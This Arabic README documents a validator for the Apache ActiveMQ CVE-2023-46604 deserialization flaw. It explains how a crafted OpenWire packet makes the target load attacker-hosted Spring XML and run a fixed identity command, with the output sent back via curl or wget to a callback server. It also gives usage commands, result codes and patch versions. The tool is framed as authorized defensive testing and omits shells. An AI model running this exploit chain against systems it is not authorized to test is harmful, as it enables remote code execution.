
أداة تحقق غير تخريبية لثغرة Apache ActiveMQ CVE-2023-46604. ترسل حزم OpenWire مُصمّمة خصيصًا، وتستخدم خادم استدعاء HTTP لتأكيد تنفيذ التعليمات البرمجية عن بُعد (RCE) أو تحميل XML، وتُنشئ أدلة بصيغة CSV/JSON لاختبارات الاختراق المصرح بها.
أداة تحقق غير مدمرة في ملف واحد لثغرة Apache ActiveMQ CVE-2023-46604. تبدأ خادم HTTP خاصًا للاستدعاءات، وتولّد XML خاصًا بالهدف في الذاكرة، وترسل حزمة OpenWire المصمّمة، وتربط الاستدعاءات برموز مميزة فريدة، وتكتب أدلة بصيغة CSV/JSON.
صُمم المشروع لاختبارات الاختراق المصرّح بها والتحقق من الأساطيل. وهو يتعمّد عدم تنفيذ قذائف عكسية، أو تنفيذ أوامر غير مقيدة، أو توسيع CIDR، أو استمرارية، أو تجهيز حمولات.
يتوفر وضعان ثابتان للإثبات:
rce ينفّذ فحص هوية ثابتًا للقراءة فقط ويعيد مخرجه إلى خادم HTTP المدمج. يؤكد الاستدعاء تنفيذ أوامر نظام التشغيل في سياق خدمة ActiveMQ.xml يقدّم سياق Spring فارغًا. يؤكد الجلب أن رسالة OpenWire المصمّمة دفعت الهدف إلى إنشاء ClassPathXmlApplicationContext واسترجاع XML يتحكم به المهاجم، دون تشغيل عملية.لا حاجة لإنشاء أو استضافة ملفات XML بشكل منفصل.
--fail-on-vulnمنفذ OpenWire الافتراضي هو 61616، لكن المنافذ غير الافتراضية مدعومة.
استخدم عناوين للتوثيق فقط في الأمثلة؛ استبدلها بأصولك المصرّح بها.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
يبدأ السكربت خادم الاستدعاءات تلقائيًا على TCP/8000، ويقدّم XML المولّد، ويرسل حزمة OpenWire، وينتظر الأدلة، ويطبع جدول النتائج، ويكتب:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
أنشئ targets.txt:
# مضيف واحد مصرّح به في كل سطر
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
شغّل:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
قد تحتوي ملفات الأهداف على أسطر فارغة وتعليقات تبدأ بـ #. توسيع CIDR غير مدعوم عمدًا؛ اذكر الجرد المصرّح به صراحةً.
للشبكات الموجهة البسيطة، احذف --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
تختار الأداة عنوان المصدر المحلي المستخدم للتوجيه نحو الهدف الأول. حدد --callback-host عند الاختبار عبر NAT أو VPN أو الحاويات أو مضيفات القفز أو الأنظمة متعددة الواجهات.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
يستخدم فحص Windows أمر PowerShell ثابتًا غير تفاعلي لإرجاع هوية الخدمة واسم الكمبيوتر وإصدار نظام التشغيل. لا يوفر قذيفة تفاعلية.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
لا يقوم هذا الوضع بإنشاء ProcessBuilder.
استخدم هدفًا بصيغة ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
لمستمع داخلي بشهادة غير موثوقة:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
يؤثر --tls-no-verify فقط على اتصال OpenWire عبر TLS. خادم الاستدعاءات هو HTTP.
| الحالة | المعنى |
|---|---|
CONFIRMED_VULNERABLE_RCE | جلب الهدف ملف XML الخاص به وأعاد أمر الهوية الثابت دليلًا. |
CONFIRMED_VULNERABLE_XML_LOAD | في وضع xml، جلب الهدف مستند XML الفريد. |
VULNERABLE_XML_LOAD_ONLY | في وضع rce، حدث استرجاع XML لكن استدعاء الأمر لم يحدث. مسار إنشاء الفئة المعرّض مؤكد؛ قد تكون أدوات الاستدعاء أو الإخراج أو تنفيذ العمليات مقيدة. |
NOT_CONFIRMED | أُرسلت الحزمة، لكن لم تصل أي أدلة HTTP مرتبطة قبل الموعد النهائي. هذا ليس دليلًا على أن المضيف مُصحّح. |
UNREACHABLE | فشل اتصال TCP/TLS أو إرسال الحزمة. |
يمكن أن تؤثر وسيط مُصحّح أو منفذ خاطئ أو تصفية الإخراج أو مشاكل التوجيه أو عدم تطابق TLS أو ضوابط نقطة النهاية على التحقق القائم على الاستدعاءات. احتفظ بطوابع CSV/JSON الزمنية ومخرجات الاستدعاء كأدلة للتقرير.
يعيد فحص هوية Linux مخرجًا مشابهًا لما يلي:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
يحاول استخدام curl وwget وBusyBox wget لإرسال HTTP POST. إذا تم جلب XML لكن لم يتوفر أي من هذه العملاء، تكون النتيجة VULNERABLE_XML_LOAD_ONLY بدلًا من نتيجة سلبية خاطئة.
0: اكتمل التحقق، أو وُجدت ثغرات دون --fail-on-vuln2: وُجدت نتيجة معرّضة واحدة على الأقل وتم توفير --fail-on-vulnمثال على استخدام CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
تؤثر CVE-2023-46604 على فك ترميز OpenWire في Java. ترسل أداة التحقق استجابة ExceptionResponse من OpenWire بترميز مرن تكون فئة الاستثناء فيها:
org.springframework.context.support.ClassPathXmlApplicationContext
رسالة الاستثناء هي عنوان URL الفريد لملف Spring XML المولّد. يقوم كود ActiveMQ المعرّض بإنشاء الفئة المختارة من قبل المهاجم مع ذلك العنوان. في وضع rce، يبدأ سياق Spring فحص ProcessBuilder ثابتًا؛ في وضع xml، يكون السياق فارغًا.
يحصل كل هدف على رمز مميز مختلف، على سبيل المثال:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
يتيح ذلك نسب الاستدعاءات المتزامنة إلى الهدف الصحيح.
--authorized إقرار التفويض المطلوب
-t, --target VALUE هدف صريح؛ قابل للتكرار
-T, --targets-file FILE هدف صريح واحد لكل سطر؛ قابل للتكرار
--default-port PORT الافتراضي 61616
--tls استخدام TLS لجميع الأهداف
--tls-no-verify تعطيل التحقق من شهادة OpenWire TLS
--callback-host HOST العنوان الذي تستخدمه الأهداف لاستدعاءات HTTP
--bind-host HOST عنوان ربط HTTP المحلي؛ الافتراضي 0.0.0.0
--http-port PORT منفذ HTTP المحلي؛ الافتراضي 8000؛ 0 يختار منفذًا حرًا
--proof rce|xml وضع الإثبات الثابت؛ الافتراضي rce
--platform linux|windows نظام تشغيل الهدف لوضع RCE؛ الافتراضي linux
--workers N العمال المتوازيون؛ الحد الأقصى 32
--connect-timeout SECONDS مهلة TCP/TLS
--wait SECONDS نافذة جمع الاستدعاءات
--retries N من محاولة إلى ثلاث محاولات إرسال حزمة
--retry-delay SECONDS التأخير بين المحاولات
-o, --output FILE وجهة أدلة CSV
--json-output FILE وجهة JSON اختيارية
--verbose عرض سجلات طلبات HTTP
--fail-on-vuln الخروج برمز 2 عند العثور على نتيجة معرّضة
python3 -m unittest discover -s tests -v
تتحقق الاختبارات من تحليل الأهداف ورفض CIDR وسلامة XML وبنية إطار OpenWire دون الاتصال بأي هدف.
قم بترقية ActiveMQ إلى إصدار مُصحّح ومدعوم حاليًا. حددت نشرة Apache الإصدارات المُصحّحة للفروع الحالية آنذاك على أنها ActiveMQ 5.15.16 و5.16.7 و5.17.6 و5.18.3 و6.0.0، وArtemis 2.31.2. كما يجب تقييد مستمعي OpenWire على العملاء الموثوقين ومراقبة استرجاع XML الخارجي غير المتوقع.
هذا المستودع مخصص للتحقق الدفاعي وتقييمات الأمان المصرّح بها. يتعمّد حذف:
--commandفحص الهوية الثابت كافٍ لإظهار تنفيذ الأوامر عن بُعد وتأثير حساب الخدمة دون إنشاء وصول تفاعلي.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. انظر LICENSE.